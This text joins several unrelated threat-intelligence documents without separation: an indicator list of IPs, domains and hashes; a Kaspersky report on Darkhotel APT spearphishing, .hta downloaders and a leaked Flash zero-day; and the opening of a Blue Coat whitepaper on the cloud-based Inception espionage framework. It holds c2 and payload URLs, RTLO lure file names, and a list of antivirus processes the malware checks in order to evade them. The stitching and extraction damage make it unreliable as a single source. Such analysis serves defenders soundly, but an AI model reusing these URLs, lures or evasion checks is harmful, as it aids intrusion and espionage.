IP Address 204.152.209.74 IP Address 213.147.54.170 IP Address 23.19.39.19 IP Address 58.71.158.21 IP Address 62.73.174.134 IP Address 71.183.67.163 IP Address 74.116.128.15 IP Address 81.218.149.207 IP Address 84c68f2d2dd569c4620dabcecd477e69 Hash 8fbc8c7d62a41b6513603c4051a3ee7b Hash 91.198.50.31 IP Address adda.lengendport.com Domain affisensors.com Domain analysis.ittecbbs.com Domain at.acmetoy.com Domain aucy.affisensors.com Domain auty.organiccrap.com Domain bbs.dynssl.com Domain bbs.serveuser.com Domain bbslab.acmetoy.com Domain bbslab.lflink.com Domain cdna.acmetoy.com Domain cune.lengendport.com Domain cure.yourtrap.com Domain dasheng.lonidc.com Domain dns.affisensors.com Domain edu.authorizeddns.org Domain edu.onmypc.org Domain fee0e6b8157099ad09380a94b7cbbea4 Hash ftp.bbs.dynssl.com Domain ftp.bbs.serveuser.com Domain ftp.bbslab.acmetoy.com Domain ftp.edu.authorizeddns.org Domain ftp.edu.onmypc.org Domain ftp.lucy.justdied.com Domain ftp.nuac.jkub.com Domain ftp.osk.lflink.com Domain ftp.reg.dsmtp.com Domain ftp.tt0320.portrelay.com Domain home.affisensors.com Domain hot.mrface.com Domain info.affisensors.com Domain jucy.wikaba.com Domain jutty.organiccrap.com Domain lengendport.com Domain lucy.justdied.com Domain newtect.ddns.us Domain nuac.jkub.com Domain nunok.ninth.biz Domain osk.lflink.com Domain philipine.gnway.net Domain pure.mypop3.org Domain reg.dsmtp.com Domain tt0320.portrelay.com Domain venus.gr8domain.biz Domain www.bbs.dynssl.com Domain www.bbs.serveuser.com Domain www.bbslab.acmetoy.com Domain www.edu.authorizeddns.org Domain www.edu.onmypc.org Domain www.fgtr.info Domain www.hot.mrface.com Domain www.ktry.info Domain www.lucy.justdied.com Domain www.osk.lflink.com Domain www.reg.dsmtp.com Domain www.tt0320.portrelay.com Domain [1] http://www.secureworks.com/cyber-threat-intelligence/threats/secrets-of-the-comfoo-masters/ [2] http://msdn.microsoft.com/en-gb/library/windows/desktop/aa380255(vvs.85).aspx [3] http://en.wikipedia.org/wiki/RC4 [4] http://en.wikipedia.org/wiki/MD5 [5] http://intelreport.mandiant.com/Mandiant_APT1_Report.pdf [6] http://www.lockheedmartin.com/content/dam/lockheed/data/corporate/documents/LM-White- Paper-Intel-Driven-Defense.pdf
Darkhotels attacks in 2015 10 aot 2015 Darkhotel APT attacks dated 2014 and earlier are characterized by the misuse of stolen certificates, the deployment of .hta files with multiple techniques, and the use of unusual methods like the infiltration of hotel Wi-Fi to place backdoors in targets systems.
In 2015, many of these techniques and activities remain in use.
However, in addition to new variants of malicious .hta, we find new victims, .rar attachments with RTLO spearphishing, and the deployment of a 0day from Hacking Team.
The Darkhotel APT continues to spearphish targets around the world, with a wider geographic reach than its previous botnet buildout and hotel Wi-Fi attacks.
Some of the targets are diplomatic or have strategic commercial interests.
The location of Darkhotels targets and victims in 2015: North Korea Russia South Korea Japan Bangladesh Thailand India Mozambique Germany 2015 Darkhotel .hta and backdoor-related, exploit-related and c2 sites: storyonboard[.
]net tisone360[.
]org openofficev[.
]info saytargetworld[.
]net error-page[.
]net eonlineworld[.
]net enewsbank[.
]net thewordusrapid[.
]com 2015 spearphishing incident attachment name subset: schedule(6.16).rar - schedule(6.16)_?gpj.scr schedule(2.1116).rar - schedule(2.1116)_?gpj.scr congratulation.rar - congratulation_?gpj.scr letter.rar - letter_?gpj.scr Consistent use of obfuscated .hta downloaders https://securelist.com/blog/research/66779/the-darkhotel-apt/ Whether the infection is achieved through spearphishing, physical access to a system or the Hacking Team Flash 0day, there frequently seems to be a common method for a newly-infected system to communicate with Darkhotels c2: A lightly obfuscated (double escaped set of javascript variable values) script maintained within an .hta file writes an executable to disk and executes it.
It is interesting that this particular group has for years now deployed backdoor and downloader code in the form of .hta files.
In 2010, we observed it re-purposing articles on North Korea by the US think-tank, Brookings Institute, in order to attack North Korean-related targets with malicious code buried in .hta files.
It also emailed links to its malicious .hta files to North Korean tourist groups, economists with an interest in North Korea, and more.
Its somewhat strange to see such heavy reliance on older Windows-specific technology like HTML applications, introduced by Microsoft in 1999.
From the recent sendspace.servermsys.com/downloader.hta: After execution and escaping a couple of variables, the .hta uses ancient Adodb.stream components in order to write out a string xord with 0x3d as an executable file and runs it.
This code results in the execution of internet_explorer_Smart_recovery.exe 054471f7e168e016c565412227acfe7f, and a hidden browser window phoning back to its c2.
In this case, http://www.brookings.edu/research/opinions/2010/04/07-nuclear-arms-ohanlon http://contagiodump.blogspot.com/2010/04/apr-23-link-hta-w-trojanwin32tapaouxa.html http://www.nkeconwatch.com/2012/01/27/malicious-email-update/ https://msdn.microsoft.com/en-us/library/Bb250409(vVS.85).aspx it seems that Darkhotel operators are checking as to whether or not the victims default browser is Internet Explorer, as all versions of IE return the value 0 and other browsers leave appMinorVersion undefined.
This data collection seems somewhat odd, because .hta files are supported and run by mshta.exe on Windows systems only, still delivered with Windows 8.
Perhaps it is an artefact from early development of the code.
Here is a recent version: hxxp://sendspace.servermsys.com/readme.php?typeexecutionresultcreated_and_executedinfo navigator.appMinorVersion The internet_explorer_Smart_recovery.exe file is a simple obfuscated downloader.
A series of xor 0x28 loops decrypt the contents of a self-deletion batch file, which is then written to disk and executed.
Later in the execution, a more complex rc4 loop decrypts the download url and other strings and imports.
When finished, this url string decryption and connectback looks like http://sendspace.servermsys.com/wnctprx.
The file is downloaded (b1f56a54309147b07dda54623fecbb89) to .tmp file in temp, executed, and the downloader exits.
This larger file is a backdoor/downloader that includes ssh functionality, and drops its keys to disk for ssh interaction.
We find older Darkhotel information stealers dropped and run on the system by these downloaders.
Spearphishing and .rar Attachments with RTLO The Darkhotel APT will relentlessly spearphish specific targets in order to successfully compromise systems.
Some targets are spearphished repeatedly with much the same social-engineering schemes.
For example, the attachment schedule(2.1116).rar could be sent on February 10th, with Darkhotel returning to the same targets in late May for a second attempt with attachment schedule(6.16).rar.
It consistently archives RTLO .scr executable files within .rar archives, in order to appear to the target as innocuous .jpg files.
These executable files are lite droppers, maintaining these decoy jpeg files, and code to create an lnk downloader.
When the target attempts to open what they think is a jpg image file, the executable code runs and drops a jpg image to disk, then opens it with mspaint.exe in the background.
This congratulations document is in Korean, revealing a likely characteristic of the intended target.
While the image is displayed, the code drops an unusual mspaint.lnk shortcut to disk and launches it.
The shortcut maintains a multiline target shell script.
This technique is also used by other APTs as persistence mechanisms, as documented by our Mandiant colleagues.
The 64kb lnk file is downloader code: When this lnk file is executed, it begins an AJAX-based download process for the unzip.js file (a07124b65a76ee7d721d746fd8047066) on openofficev.info.
This is another wscript file implementing AJAX to download and execute a relatively large compiled executable: This executable code is saved to temp\csrtsrm.exe and executed there.
It is a relatively large executable (1.2 mb) that injects malicious code and spawns remote threads into legitimate processes.
Stolen certificates and evasion The group appears to maintain a stockpile of stolen certificates and deploys their downloaders and the backdoors signed with them.
Some of the more recent revoked certificates include ones that belong to Xuchang Hongguang Technology Co. Ltd. Darkhotel now tends to hide its code behind layers of encryption.
It is likely that it has slowly adapted to attacking better-defended environments and prefers not to burn these stolen digital certificates.
In previous attacks it would simply have taken advantage of a long list of weakly implemented, broken certificates.
Not only are its obfuscation techniques becoming stronger, but its anti-detection technology list is growing.
For example, this signed downloader (d896ebfc819741e0a97c651de1d15fec) decrypts a set of anti-malware strings in stages to identify defensive technologies on a newly-infected system, and then opens each process, looking for a matching image name: c:\avast sandbox\WINDOWS\system32\kernel32.dll - Avast avp.exe - Kaspersky Lab mcagent.exemcuicnt.exe - Intel/Mcafee bdagent.exe - BitDefender ravmon.exe,ravmond.exe - Beijing Rising 360tray.exe,360sd.exe,360rp.exe,exeMgr.exe - Qihoo 360 ayagent.aye,avguard.avgntsd.exe - Avira Antivirus ccsvchst.exe,nis.exe - Symantec Norton avgui.exe,avgidsagent.exe,avastui.exe,avastsvc.exe - Avast msseces.exemsmpeng.exe - Microsoft Security Essentials and Microsoft Anti-Malware Service AVK.exeAVKTray.exe - G-Data avas.exe - TrustPort AV tptray.exe - Toshiba utility fsma32.exefsorsp.exe - F-Secure econser.exeescanmon.exe - Microworld Technologies eScan SrvLoad.exePSHost.exe - Panda Software egui.exeekrn.exe - ESET Smart Security pctsSvc.exepctsGui.exe - PC Tools Spyware Doctor casc.exeUmxEngine.exe - CA Security Center cmdagent.execfp.exe - Comodo KVSrvXP.exeKVMonXP.exe - Jiangmin Antivirus nsesvc.exeCClaw.exe - Norman V3Svc.exe - Ahnlab guardxup.
-
IKARUS FProtTray.
-
F-Prot op_mon - Agnitum Outpost vba332ldr.dwengine.
-
DrWeb Even the identifying information that the backdoor seeks from a system is not decrypted until runtime.
Like the information-stealer component documented in our previous Darkhotel technical report, this component seeks to steal a set of data with which to identify the infected system.
Much of the information is collected with the same set of calls, i.e.
kernel32.GetDefaultSystemLangID, kernel32.GetVersion, and kernel32.GetSystemInfo: Default system codepage Network adapter information Processor architecture Hostname and IP address Windows OS and Service Pack versions Essentially, much of this information-stealer code is the same as that observed in previous attacks.
Tisone360.com, Visits, and Hacking Team Flash 0day The tisone360.com site was especially interesting to us.
In April 2015, Darkhotel was email-phishing with links to earlier (cve-2014) Flash exploits, and then, at the beginning of July, it began to distribute what is reported to be a leaked Hacking Team Flash 0day.
It looks like the Darkhotel APT may have been using the leaked HackingTeam Flash 0day to target specific systems.
We can pivot from tisone360.com to identify some of this activity.
The site was up and active as late as 22 July, 2015.
However, this looks to be a small part of its activity.
In addition to the icon.swf HT 0day (214709aa7c5e4e8b60759a175737bb2b), it looks as though the tisone360.com site was delivering a Flash CVE-2014-0497 exploit in April.
We reported the related vulnerability to Adobe in January 2014, when it was being used by the Darkhotel APT.
Recently, the Darkhotel APT has maintained multiple working directories on this site.
It is the ims2 directory that is the most active.
It contains a set of backdoors and exploits.
The most interesting of these is the reported Hacking Team Flash 0day, icon.swf.
In the days following the public mention of this server, the crew slowly tightened down open access to /ims2/.
Either way, the contents continued to be actively used.
icon.swf (214709aa7c5e4e8b60759a175737bb2b) - icon.jpg (42a837c4433ae6bd7490baec8aeb5091) - temp\RealTemp.exe (61cc019c3141281073181c4ef1f4e524) https://securelist.com/files/2014/11/darkhotelappendixindicators_kl.pdf https://securelist.com/files/2014/11/darkhotelappendixindicators_kl.pdf https://securelist.com/blog/incidents/58244/cve-2014-0497-a-0-day-vulnerability/ After icon.jpg is downloaded by the flash exploit, it is decoded with a multi- byte xor key 0xb369195a02.
It then downloads further components.
Its interesting to note that the group appears to be altering the compilation and linker timestamps of its executable code to dates in 2013.
We see this across multiple samples deployed and observed for the first time in mid-2015, including the icon.jpg downloader.
A log of visits to the site directory records that the directory was set up on July 8th.
A handful of visits to a specific url on the server from five systems based in the following locations were recorded on the 8th and 9th.
Several of these are likely to be Darkhotel APT targets: Germany South Korea China (likely to be research) US Japan However, one of those systems hammered the site on the 9th, visiting almost 12,000 times in 30 minutes.
This volume of traffic is likely to represent a noisy scanning research attempt and not someone DoSing the site: Recorded site visits following the 9th are likely to be unreliable and may be more researchers, responding to the growing notoriety of the site following the public reports on the 9th.
Many of these approximately 50 visits come from a subset of the above systems and are repeated multiple times.
Visits from the following locations occurred on or after the 10th: Germany (likely  to be  research) Ukraine (likely  to be  research) Amazon Web Services, multiple locations (likely to be research) Googlebot, multiple locations US Ireland (likely to be research) Russia Brazil China Finland Canada Taiwan France (likely to be research) Czech Republic A consistent attack flow The Darkhotel group tends to stick with what works.
For example, for years we saw repeated use of spearphishing targets directly with .hta files.
Now, as with the tisone360.com site above, we have seen repeated use in 2015 of a creative chain of delivery sets.
downloader - hta checkin - info stealer - more compiled components.
dropper - wsh script - wsh script - info stealer - more compiled components spearphish - dropper - hta checkin - downloader - info stealer While a chain of delivery that includes obfuscated scripts within .hta files occurred as far back as 2011, the volume appears to have picked up in 2014 and now 2015.
openofficev[.
]info (2015) office-revision[.
]com (2014) online.newssupply[.
]net (2011) Hiding infrastructure in plain sight The group is now more vigilant in maintaining its sites, tightening up configuration and response content.
Right now, its c2 responds with anti-hero images of Drinky Crow from the alt Maakies cartoon: Other Darkhotel c2s tend to blend in with random sites on the web when incorrect or missing pages are visited.
They are ripping images either from FOTOLIA or articles on artisanal ice cream makers here: HTA md5: 021685613fb739dec7303247212c3b09 1ee3dfce97ab318b416c1ba7463ee405 2899f4099c76232d6362fd62ab730741 2dee887b20a06b8e556e878c62e46e13 6b9e9b2dc97ff0b26a8a61ba95ca8ff6 852a9411a949add69386a72805c8cb05 be59994b5008a0be48934a9c5771dfa5 e29693ce15acd552f1a0435e2d31d6df fa67142728e40a2a4e97ccc6db919f2b fef8fda27deb3e950ba1a71968ec7466 Spearphish attachments md5: 5c74db6f755555ea99b51e1c68e796f9 c3ae70b3012cc9b5c9ceb060a251715a 560d68c31980c26d2adab7406b61c651 da0717899e3ccc1ba0e8d32774566219 d965a5b3548047da27b503029440e77f dc0de14d9d36d13a6c8a34b2c583e70a 39562e410bc3fb5a30aca8162b20bdd0 (first seen late 2014, used into 2015) e85e0365b6f77cc2e9862f987b152a89 (first seen late 2014, used into 2015) 2015 large downloader md5: 5e01b8bc78afc6ecb3376c06cbceb680 61cc019c3141281073181c4ef1f4e524 3d2e941ac48ae9d79380ca0f133f4a49 http://www.motherearthnews.com/real-food/seasonal-recipes/artisan-ice-cream-zm0z11zalt.aspx fc78b15507e920b3ee405f843f48a7b3 da360e94e60267dce08e6d47fc1fcecc 33e278c5ba6bf1a545d45e17f7582512 b1f56a54309147b07dda54623fecbb89 009d85773d519a9a97129102d8116305 Infostealers dropped in 2015 61637a0637fb25c53f396c305efa5dc5 a7e78fd4bf305509c2fc1b3706567acd Subhosts and urls: tisone360.com/img_h/ims2/icon.swf tisone360.com/img_h/ims2/1.php tisone360.com/img_h/ims2/icon.jpg tisone360.com/noname/img/movie.swf tisone360.com/noname/minky/face.php tisone360.com/htdoc/ImageView.hta tisone360.com/htdoc/page1/page.html daily.enewsbank.net/wmpsrx64 daily.enewsbank.net/newsviewer.hta saytargetworld.net/season/nextpage.php sendspace.servermsys.com/wnctprx error-page.net/update/load.php photo.storyonboard.net/wmpsrx64 photo.storyonboard.net/photoviewer.hta photo.storyonboard.net/readme.php unionnewsreport.net/aeroflot_bonus/ticket.php www.openofficev.info/xopen88/office2 www.openofficev.info/dec98/unzip.js www.openofficev.info/open99/office32 www.openofficev.info/decod9/unzip.js Parallel and Previous Research CVE-2014-0497  A 0-day Vulnerability https://securelist.com/blog/incidents/58244/cve-2014-0497-a-0-day-vulnerability/ Hacking Team Flash Zero-Day Tied To Attacks In Korea and Japan on July 1 http://blog.trendmicro.com/trendlabs-security-intelligence/hacking-team-flash-zero-day-tied-to-attacks-in- korea-and-japan-on-july-1/ The Darkhotel APT https://securelist.com/blog/research/66779/the-darkhotel-apt/ propos de Kaspersky Lab https://securelist.com/blog/incidents/58244/cve-2014-0497-a-0-day-vulnerability/ http://blog.trendmicro.com/trendlabs-security-intelligence/hacking-team-flash-zero-day-tied-to-attacks-in-korea-and-japan-on-july-1/ http://blog.trendmicro.com/trendlabs-security-intelligence/hacking-team-flash-zero-day-tied-to-attacks-in-korea-and-japan-on-july-1/ https://securelist.com/blog/research/66779/the-darkhotel-apt/ Kaspersky Lab est la premire entreprise prive de cyber-scurit au niveau mondial et lune de celles enregistrant la croissance la plus rapide.
Depuis sa cration en 1997, Kaspersky Lab na cess dinnover et de faire voluer la cyber-scurit.
Lentreprise offre des solutions de scurit digitale et des services dintelligence penss pour les consommateurs, les PME et les grandes entreprises.
Prsente dans prs de 200 pays, protgeant plus de 400 millions dutilisateurs dans le monde, la socit est reconnue comme lun des quatre premiers fournisseurs mondiaux de solutions Endpoint pour utilisateurs finaux (IDC, 2014).
Pour en savoir plus : www.kaspersky.fr Pour en savoir plus : www.kaspersky.com/fr/ Pour plus dinformations sur lactualit virale : http://www.securelist.com Salle de presse virtuelle Kaspersky Lab : http://newsroom.kaspersky.eu/fr/ Blog franais de Kaspersky Lab : http://blog.kaspersky.fr/ Hotwire pour Kaspersky Lab Marion Delmas / Eric Le Yavanc / Marion Larivire 01 43 12 55 62 / 47 / 64 KasperskyFrancehotwirepr.com http://www.kaspersky.fr/ http://www.kaspersky.com/fr/ http://www.securelist.com/ http://newsroom.kaspersky.eu/fr/ http://blog.kaspersky.fr/ https://www.facebook.com/kasperskylabfrance https://www.facebook.com/kasperskylabfrance http://www.linkedin.com/company/kaspersky-lab-france http://www.linkedin.com/company/kaspersky-lab-france http://blog.kaspersky.fr/ mailto:KasperskyFrancehotwirepr.com
1 Whitepaper: The Inception Framework: Cloud-hosted APT By Snorre Fagerland and Waylon Grange Blue Coat Systems, Inc 2 Executive summary Blue Coat researchers have uncovered a previously-undocumented, highly automated, and extremely sophisticated framework for performing targeted attacks.
The framework is notable for a number of reasons, including (but not limited to) its use of a cloud-based infrastructure for command-and-control and its use of the WebDAV protocol to send instructions and receive exfiltrated information from compromised systems.
Initial malware components were embedded in Rich Text Format (RTF) files.
Exploitation of vulnerabilities in this file format is leveraged to gain remote access to victims computers.
The framework, thus far, has been using the services of a cloud service provider based in Sweden, CloudMe.com, for its main command-and-control infrastructure.
Malware payloads designed for a wide array of potential devices, including home routers and mobile devices running iOS, BlackBerryOS or Android, were also recovered during the course of our research.
The framework is designed in such a way that all post-infection communication (i.e.
target surveying, configuration updates, malware updates, and data exfiltration) can be performed via the cloud service.
The malware components of this framework follow a plugin model, where new malware rely on other, previously delivered malware components to interact with the framework.
Initial attacks were largely focused on Russia and a few other Eastern European countries.
However, we have later seen that attackers are interested in targets all over the globe.
The framework is itself target-agnostic, and seems highly automated.
The operational security exhibited by the attackers is very good - among the best we have seen.
Most interaction between attackers and their infrastructure is performed via a convoluted network of router proxies and rented hosts.
Although the attackers have left a few clues, we have been unable to provide attribution with any degree of accuracy.
3 Introduction The use of software vulnerabilities in order to execute malicious software on unsuspecting users computers is an important parameter to monitor.
This method of attack is not only known to have a considerable success rate, it is also often deployed by resourceful attackers and, as such, marks a threat worth paying attention to.
The use of exploits in document formats like PDF, DOC and RTF is in some ways especially noteworthy.
Documents are commonly exchanged via mail, which make them perfect for email-borne targeted attacks what is otherwise known as spear phishing.
In March, 2014, Microsoft published information about a new vulnerability in Rich Text Format (RTF).
This vulnerability, named CVE-2014-1761 (Microsoft Word RTF Object Confusion), had already been used effectively by attackers at the time of the announcement.
Two previous vulnerabilities in the RTF file format, known as CVE-2010-3333 and CVE-2012-0158, had become, by that time, mainstays of targeted attacks, so we tracked how attackers implemented this new exploit with keen interest.
By late August, we identified a malware espionage operation that used both the CVE-2014-1761 and CVE-2012-0158 vulnerabilities to trigger execution of the malicious payload, and which leveraged a single cloud service as the backbone of its entire visible infrastructure.
When we examined the suspicious documents, it was discovered that they were somewhat anomalous compared to the run-of-the-mill material.
They turned out to belong to a highly advanced and professional targeted attack framework, which utilized a complex series of techniques to survey potential targets.
Due to the many levels of obfuscation and indirection, we named this the Inception framework but there ends all similarity with the movie by the same name.
Leonardo DiCaprio is not associated with this investigation.
4 PART I: CloudMe 5 Use of trojanized documents We initially knew little about who the actual targets were apart from one.
In that particular case we had the actual phishing email, so we knew the apparent recipient  the CEO of a large Russian bank.
The email was apparently sent from Mrs. World note the Mrs.,  and not Miss - World.
The weaponized Microsoft Word document attached to the email message (photo.doc) contained two separate exploits: one targeting the vulnerability detailed in CVE-2012-0158 (MSCOMCTL ActiveX Buffer Overflow) the other targeting the aforementioned CVE-2014-1761.
6 Above: Mrs. World.
Text and picture apparently taken from the news site mk.ru We soon discovered that our malware repository contained several other, similar documents, but these had come from other sources which did not include the email message, or any identifiable information about the targets.
However, the text of the documents covered a variety of topics mostly revolving around Russian issues relating to a variety of business sectors.
The following pages highlight a representative selection of these documents.
7 An article cribbed verbatim from the Novye Izvestiya news Web site about the Russian financial situation in light of the Ukrainian crisis.
An application form to participate in a seminar supposedly organized by Russias Federal Service for Defense Contracts ( ) scheduled for Sept 24/25 2014.
An article, in English, about the Ukraine situation taken from the Financial Times (UK) newspaper.
An advertisement from a supplier of diesel engines and related mechanical services.
The letter lists the Russian navy and the Border Guard department of the FSB among their customers.
8 Organigrama Gobierno Rusia.doc a summary profile of several high- level Russian government officials originally submitted to VirusTotal from an IP address in Spain.
An advertisement of a used car for sale that purportedly originated from an employee at the German Embassy in Moscow.
Invitation to Russian Art Week 9 Document metadata All documents that we have found so far have been rather standard Word documents, of the old 97-2003 compatible format based on OLE2.
Such documents can, and typically do, contain quite a bit of metadata: The name of the document creator the user who edited it most recently the name of the company whose copy of Word was used to create the document, et al.
Users can optionally configure Word to remove this metadata when a document is saved, and thats exactly what the creator of these documents did, stripping out this potential source of attribution data.
However, Word documents in this format contain additional information, if you know where to look.
All Word documents of this format contain whats known as a File Information Block (FIB).
The FIB contains information about the files internal structure, and also  to some extent  data on the program used to create the file.
In the case of the samples we analyzed, all of the documents were saved using the same build of Microsoft Word from Office14 (better known as Office 2010).
In addition, documents can contain slack space in which old data remains.
For example, the decoy that came with the attack named Organigrama Gobierno Rusia.doc contains Visual Basic leftovers indicating that it originally was created on a computer that was configured to be used by a native Spanish speaker, apparently by an advisor at the Spanish Embassy in Moscow.
This document was presumably obtained by the attackers and repurposed for the attack.
10 Targeted verticals Despite the limited information at our disposal about the targets of these attacks, their content reveals some context about who the possible targets may have been.
First of all, we have the decoy documents which indicate an interest in: - Embassies - Politics - Finance - Military - Engineering We also have a set of phishing mails, which were targeted at: - The finance sector in Russia - The oil and energy industry in Romania, Venezuela, and Mozambique - Embassies and diplomats from various countries 11 Shellcode The shellcode used is a pretty standard variant previously used by a number of campaigns typically operating out of China, but with some minor changes.
The malicious content is stored inside the document in encoded form, and the shellcode decodes and writes this to disk.
Above: The decoding loop Upon successful execution this code drops a Word document and a Visual Basic script.
The Word document is displayed to the user to avoid arousing any suspicion while the script is executed in the background.
Unusual for many exploit campaigns, the names of the dropped files vary for example HyHa9AJ.vbs, ew_Rg.vbs, 0_QHdN.vbs, etc.
clearly randomized in order to avoid detection by name.
12 Visual Basic Script dropper The VBScript dropper code is also a little unusual.
It declares a Windows Management Instrumentation (WMI) object in order to reach components like the registry and file system.
This seems adapted from Microsoft example code, like the one found at http://msdn.microsoft.com/en-us/library/aa387236(vvs.85).aspx When the VBSript is run it drops two files to disk.
One is a polymorphed dll file and the other a binary data file with no obvious internal structure.
This data file turns out to be encrypted using AES-256.
http://msdn.microsoft.com/en-us/library/aa387236(vvs.85).aspx 13 The files will be installed in several locations: WinDir,    ex.
C:\Windows.
APPDATA,   ex.
C:\Users\USERNAME\AppData\Roaming ALLUSERSPROFILE,  ex.
C:\ProgramData CommonProgramFiles, ex.
C:\Program Files\Common Files USERPROFILE,  ex.
C:\Users\USERNAME These locations will vary some between operating system versions.
The VBScript then sets a startup key in the HKCU\Software\Microsoft\Windows\CurrentVersion\Run registry path to execute the DLLs at boot time.
Regardless of whether the registry launches the DLL or when another malware executable starts the DLL directly, the DLL is launched using regsrv32.exe with the /s (silent) option.
The names of these dropped files change from attack to attack.
The one above drops ctfmonrc.dll.
Other names observed were: ctfmonm.dll ctfmonrn.dll wmiprvse.dll alg.dll dwm.dll The encrypted data files are named using random words apparently taken from a dictionary  acholias, arzner, bicorporate, crockrell, damnatorily etc.
14 DLL payload Looking at one of the dropped dlls we can see the authors originally called it 95Num3P3gm.dll.polymorphed.dll.
When executed it will rebuild the original dll (95Num3p3gm.dll, presumably), load it from memory and pass over execution.
In the early stages of our research, most other payloads followed the same naming convention, eg.,
fvK3J15B5d.
DLL.polymorphed.
DLL LvwU9gnFO.DLL.polymorphed.
DLL NR5vaFTe9R.DLL.polymorphed.
DLL hs78lg7x5F.DLL.polymorphed.
DLL, etc.
More recently collected samples no longer contain the polymorphed string.
It is hard to describe the polymorphed dlls with any real depth, as there is little consistency between them.
When two nearly identical dlls are encoded using the polymorphic scheme there is very little code in common.
The call graphs are different and key functions have varying number of arguments.
The polymorphing mechanism also generates, and inserts, unique functions all of which make calls to different floating-point operations  all done just to obfuscate the actual decoding process.
The sizes of buffers allocated are also randomized to mask their intent.
15 A portion of one of the dynamically generated functions.
What is common is that somewhere along the execution cycle is one extremely large function (over 200 kb in length) where early in a large allocation is made where the un-obfuscated binary will be placed.
The binary is then built from de- obfuscating segments of it that have been dispersed through the .rdata section.
The order, size, and locations of these segments vary from build to build but somewhere near the end of the large function there will be a call to a subfunction that loads the PE image into memory, followed by a call to free the PE image allocation from memory.
Simply halting execution before this function call permits a researcher to extract the reconstructed DLL from memory.
16 Here, pausing execution before the call to load_pe_from_memory reveals the extracted PE at the memory address pointed to by edx.
This reconstructed DLL, once loaded, will decode a configuration structure from its .data section which contains three important details: the name of the encrypted data file dropped by the VBScript the AES key used to decrypt the file and the name of a unique global mutex to hold while running to prevent multiple instances.
This configuration information is used to load the encrypted file into memory and decrypt it.
This turns out to be yet another dll.
The first ordinal exported by this dll is located and then called, passing in the configuration and the name of the encrypted file on disk as parameters.
17 This last dll is the heart of the threat (originally called q5Byo.dll in this instance.
This file contains the true intent of this campaign.
It is designed as a survey tool.
The PE file gathers system information including OS version, computer name, user name, user group membership, the process it is running in, locale IDs,  as well as system drive and volume information.
All of this is encrypted and then sent to cloud storage via WebDAV.
18 The malware installation chain 19 WebDAV cloud usage WebDAV is a communication standard that allows file management over HTTP or HTTPS.
Windows allows WebDAV sessions to be mapped as network resources.
The use of WebDAV as the communication channel is atypical for most malware samples we see.
By using a network resource, the actual web traffic originates from the system itself, and not from the process in which the malware resides.
Additionally, once the resource is established, the malware can transfer files to and from the command and control servers using standard file IO commands.
All the authentication information for the WebDAV session including the URL, folders, path, user name, and password is stored within this last DLL in another AES-encrypted configuration structure in the binary.
A unique path, username, and password were used for each malware instance weve seen in the wild.
This allows the attackers to uniquely identify every targeted attack and track how successful each phishing campaign is.
Also contained within the configuration structure is information on how to name the survey data on the remote file server.
The binary reads from its configuration a string on how to generate the remote filename, and a list of extensions to use.
An example would be _1-7d_0-8s, [TIF, TAR, SIT] which instructs the binary to generate a filename with 1 to 7 numeric digit characters followed by 0 to 8 ASCII letters with one of the three listed extensions such as 664gher.
TAR.
The survey is then uploaded to the server in a specified folder with the generated name.
Files are compressed using a modified LZMA-compression and encrypted using AES cipher-block-chaining (CBC) before being uploaded to the cloud server.
The binary also checks a separate folder on the cloud service designated to contain new configuration information.
If such a file is present on the server, the malware downloads the new configuration file then deletes it from the server.
20 The cloud storage provider in every case we have seen was the Swedish company CloudMe.com, which offers free and paid WebDAV cloud storage.
The URI model used by the malware is http://webdav.cloudme.com/username/CloudDrive/ which is a direct reference to file storage.
It must be noted that the CloudMe service is not actively spreading the malicious content the attackers are only using it for storing their files.
We notified CloudMe.com about the abuse of their services.
Their CEO, Mr. Daniel Arthursson, was none too happy about this, and was very helpful in our further research.
CloudMe has shared a great deal of log information related to this attack.
These indicate that there are many other accounts (over 100) likely related to this attack system.
We have no way of verifying this with absolute certainty, but this is what we regard as a high confidence assumption.
21 Distribution of logged victim connections towards CloudMe.
The cloud accounts are not used for one-way communication only.
The malware also checks configured subfolders for updates and if these are found they will be downloaded, decrypted and used as appropriate.
One such case is the franko7046 account, used against the previously mentioned bank CEO.
In this account there was hidden another encrypted configuration file which the malware downloaded and decrypted.
Above: The configuration file of the depp3353 account.
Password is redacted.
22 This is how we found the depp3353 account.
In this new account there was another surprise waiting for us  a download folder with two new encrypted files, 921.bin and 922.bin.
Once decrypted, these turned out to be PE executables.
Downloaded plugins: Cloud persistence The two new executables are plugins - quite similar to each other and obviously compiled on the same setup.
They are lightweight and intended to pull specific survey information from their target.
Of interest, both of the DLLs originally had the same internal name (78wO13YrJ0cB.dll).
Presumably the same PE sanitization script and parameters were used on both.
None of these plugins contain any means of CnC communication.
Instead, when they are executed they are passed a pointer to a function to use for sending data back home.
Neither are they ever written to disk.
They are executed in memory only, and once they have completed the memory is freed.
This makes these modules extremely stealthy, flexible and compatible with multiple toolsets independent of what CnC method is being used.
921.bin retrieves several datapoints about the infected machine: Domain info a list of running processes with all loaded modules in each the list of installed software and a complete hardware profile of the target machine.
922.bin compiles a dirwalk  a complete listing of every file path  of each fixed drive.
All of this information is exfiltrated back via the same WebDAV connection.
This model makes it possible to do the intrusion in steps, with verification stages in between and the files will not be easily found on affected computers.
Based on the information gathered from these modules, the attackers appear to move to the next stage of their attack by placing more new components on the WebDAV shares.
Information about these uploads is limited by the fact that we do not have the AES keys to decrypt much of the uploaded data, but we have been able to see some upload patterns.
What we assume to be third-stage plugins appear on the shares as .bin files of roughly 72kb.
As with other plugins, these are downloaded and deleted from the share in one go.
However, the next day, another .bin file of the same size will be uploaded to the share.
This is a pattern that repeats itself over all live accounts.
It seems that because the plugins exist in memory only, they are injected daily to ensure persistence on victim computers.
Our theory is that this malware is a more typical datastealer, and we have observed that after this type of file is planted on the account, encrypted data uploads from compromised users increase.
23 The Sheep and the Wolves Victims of this attack will connect using the Windows WebDAV redirector, and the HTTP request user-agent string will reflect this.
For Windows XP this will typically be Microsoft-WebDAV-MiniRedir/5.1.2600, and for Windows 7 a common user-agent is Microsoft-WebDAV-MiniRedir/6.1.7601.
Security researchers  and there are a few of them - connect in a variety of ways first of all, we see a number of connections that are indistinguishable from the way victims connect.
This happens when researchers use lab machines with live internet access to run the malware.
The only way we can tell these are researchers is because they connect from IP address ranges that are unlikely to be victims and they also tend to consist of short-lived sessions.
Some researchers set up scheduled tasks to scan the shares for new updates and malware.
We see a few variations of these  one typical configuration is where the requests contain a Python-related user-agent string.
Attackers, on the other hand, dont appear to use Windows.
Common across multiple accounts, multiple IPs, and over time, is that the probable attackers have used a HTTP user-agent of davfs2/1.4.6 neon/0.29.6.
